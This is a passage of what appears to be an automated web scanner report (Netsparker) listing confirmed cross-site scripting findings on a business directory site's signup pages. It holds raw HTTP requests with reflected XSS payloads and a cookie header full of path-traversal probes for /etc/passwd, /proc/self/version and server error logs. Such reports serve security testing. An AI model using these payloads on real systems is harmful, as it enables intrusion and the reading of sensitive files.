Connection: Keep-Alive

_rememberme=3&password=password&refererUrl='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004D9)%3c%2fscript%3e&rememberme=true&username=username

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:53 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=FEA569566541D6A27921A659561BB3E0; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="'"--></style></script><script>netsparker(0x0004D9)</script>"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="'"--></style></script><script>netsparker(0x0004D9)</script>"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value=''"--></style></script><script>netsparker(0x0004D9)</script>'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 formError" /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> ..

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
companyName	POST	Smith
emailAddress	POST	netsparker@example.com
firstName	POST	Smith
lastName	POST	'"--></style></script><script>alert(0x0004E7)</script>
password1	POST	3
password2	POST	3
pseudonym	POST	3
receiveSpecialOfferEmail	POST	netsparker@example.com
refererUrl	POST	http://www.insideup.com/index.html
termsOfService	POST	3

Request

POST /communitysignup.html HTTP/1.1
Referer: http://www.insideup.com/communitysignup.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 323
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

companyName=Smith&emailAddress=netsparker%40example.com&firstName=Smith&lastName='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004E7)%3c%2fscript%3e&password1=3&password2=3&pseudonym=3&receiveSpecialOfferEmail=netsparker%40example.com&refererUrl=http%3a%2f%2fwww.insideup.com%2findex.html&termsOfService=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:02 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=A4A2AF934F4388311D539868EB15DCA7; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value='http://www.insideup.com/index.html'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="3" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 " /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> <td> <input type="text" name="emailAddress" value="netsparker@example.com" id="emailAddress" style="width..

- /ppc/leadflow/wede00/

/ppc/leadflow/wede00/ CONFIRMED

http://www.insideup.com/ppc/leadflow/wede00/?nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eal..

Parameters

Parameter	Type	Value
